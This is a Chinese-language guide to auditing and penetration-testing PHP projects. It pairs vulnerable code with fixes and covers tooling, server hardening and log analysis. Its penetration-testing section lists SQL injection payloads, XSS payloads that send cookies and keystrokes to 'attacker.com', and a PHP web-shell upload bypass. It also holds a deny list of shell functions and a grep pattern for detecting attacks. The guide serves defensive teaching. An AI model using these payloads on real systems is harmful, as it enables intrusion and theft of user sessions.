PHP项目安全审计与渗透测试指南
安全审计基础
审计准备
# 环境搭建 - PHP版本:7.4+ (检查配置) - Web服务器:Apache/Nginx - 数据库:MySQL/PostgreSQL - 框架:Laravel/ThinkPHP/Yii等 # 工具准备 - 静态分析:RIPS, PHPStan, Psalm - 动态分析:Burp Suite, OWASP ZAP - 代码审计:SonarQube, Fortify - 漏洞扫描:Nikto, WPScan(WordPress)
审计流程
graph TD
A[信息收集] --> B[静态代码分析]
B --> C[动态测试]
C --> D[漏洞验证]
D --> E[报告输出]
B --> F[配置检查]
B --> G[代码审查]
C --> H[渗透测试]
C --> I[模糊测试]
常见漏洞类型
SQL注入
// 危险代码
$username = $_GET['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $sql);
// 安全修复
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
// 使用ORM
User::where('username', $username)->first();
XSS跨站脚本
// 反射型XSS
echo "Hello, " . $_GET['name'];
// 存储型XSS
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (content) VALUES ('$comment')";
// 安全修复
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo strip_tags($comment);
// 使用模板引擎自动转义
CSRF跨站请求伪造
// 生成Token
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
// 验证Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF攻击');
}
// Laravel自动CSRF保护
<form method="POST">
@csrf
<!-- 表单内容 -->
</form>
文件包含
// 危险代码
include($_GET['page'] . '.php');
// 安全修复
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
}
命令注入
// 危险代码
system("ping " . $_GET['ip']);
// 安全修复
$ip = filter_var($_GET['ip'], FILTER_VALIDATE_IP);
if ($ip) {
exec("ping -c 1 " . escapeshellarg($ip));
}
渗透测试实战
信息收集
# 目录扫描 gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # 指纹识别 whatweb http://target.com wappalyzer 浏览器插件 # 子域名枚举 subfinder -d target.com amass enum -d target.com
SQL注入测试
-- 基础测试 ' OR 1=1 -- " OR "1"="1 admin' -- -- 时间盲注 ' AND SLEEP(5) -- ' AND IF(1=1, SLEEP(5), 0) -- -- 联合查询 ' UNION SELECT 1,2,3 -- ' UNION SELECT table_name, column_name FROM information_schema.columns --
XSS漏洞利用
<!-- 基础测试 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- 窃取Cookie -->
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<!-- 键盘记录 -->
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/?k='+e.key);
}
</script>
文件上传漏洞
// 绕过检查 // 1. MIME类型绕过 Content-Type: image/gif // 2. 扩展名绕过 shell.php.jpg shell.php%00.jpg // 3. 内容检查绕过 GIF89a<?php system($_GET['cmd']); ?>
安全配置检查
PHP配置
; php.ini 安全配置 disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source expose_php = Off display_errors = Off log_errors = On error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT allow_url_fopen = Off allow_url_include = Off session.cookie_httponly = 1 session.cookie_secure = 1 session.use_only_cookies = 1 session.use_strict_mode = 1
Web服务器安全
# Nginx安全配置
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# 禁止访问敏感文件
location ~ /\. {
deny all;
}
location ~ (composer\.json|\.env|\.git) {
deny all;
}
自动化审计工具
RIPS静态分析
# 安装和运行 git clone https://github.com/ripsscanner/rips cd rips php -S localhost:8080 # 访问 http://localhost:8080 # 配置扫描路径,开始审计
PHPStan代码检查
# 安装
composer require --dev phpstan/phpstan
# 运行
vendor/bin/phpstan analyse src/ --level=max
# 配置文件 phpstan.neon
parameters:
level: max
paths:
- src
excludePaths:
- tests
OWASP ZAP
# API扫描
zap-api-scan.py -t http://target.com/api -f openapi
# 主动扫描
zap-full-scan.py -t http://target.com
# 使用Docker
docker run -v $(pwd):/zap/wrk/:rw -t owasp/zap2docker-stable \
zap-full-scan.py -t http://target.com -r report.html
修复建议
输入验证
// 白名单验证
$allowed = ['admin', 'user', 'guest'];
if (!in_array($role, $allowed)) {
throw new Exception('Invalid role');
}
// 类型转换
$id = (int)$_GET['id'];
$price = (float)$_POST['price'];
// 使用过滤器
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
$url = filter_var($_POST['url'], FILTER_VALIDATE_URL);
输出编码
// HTML输出 echo htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8'); // URL参数 echo urlencode($param); // JSON输出 echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP); // JavaScript输出 echo json_encode($data, JSON_UNESCAPED_SLASHES);
安全存储
// 密码哈希
$hash = password_hash($password, PASSWORD_ARGON2ID);
// 验证密码
if (password_verify($password, $hash)) {
// 登录成功
}
// 敏感数据加密
$encrypted = openssl_encrypt($data, 'aes-256-gcm', $key, 0, $iv, $tag);
日志审计
// 记录安全事件
class SecurityLogger {
public static function log($event, $severity = 'INFO') {
$logEntry = [
'timestamp' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'],
'user' => $_SESSION['user_id'] ?? 'anonymous',
'event' => $event,
'url' => $_SERVER['REQUEST_URI'],
'method' => $_SERVER['REQUEST_METHOD']
];
error_log(json_encode($logEntry) . "\n", 3, '/var/log/security.log');
}
}
// 使用
SecurityLogger::log('Failed login attempt', 'WARNING');
持续安全
CI/CD集成
# GitLab CI配置
stages:
- security
security-scan:
stage: security
script:
- composer install
- vendor/bin/phpstan analyse src/ --level=max
- vendor/bin/psalm
- composer audit
only:
- main
- develop
依赖管理
# 安全检查 composer audit composer update --dry-run # 锁定版本 composer require vendor/package:^2.0 --no-update composer update vendor/package # 使用安全包 composer require roave/security-advisories:dev-master
应急响应
入侵检测
// 文件完整性检查
$hashes = [];
foreach (glob('*.php') as $file) {
$hashes[$file] = md5_file($file);
}
// 异常请求检测
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_SERVER['HTTP_REFERER'])) {
SecurityLogger::log('POST request without referer', 'WARNING');
}
日志分析
# 查找可疑请求
grep -E "(union.*select|eval|base64_decode|system)" /var/log/apache2/access.log
# 检测暴力破解
awk '{print $1}' /var/log/auth.log | sort | uniq -c | sort -nr | head -20
# 查看错误日志
tail -f /var/log/php_errors.log | grep -E "(warning|error|notice)"
通过系统化的安全审计和渗透测试,可以显著提高PHP项目的安全性,记住安全是一个持续的过程,需要不断更新和改进。
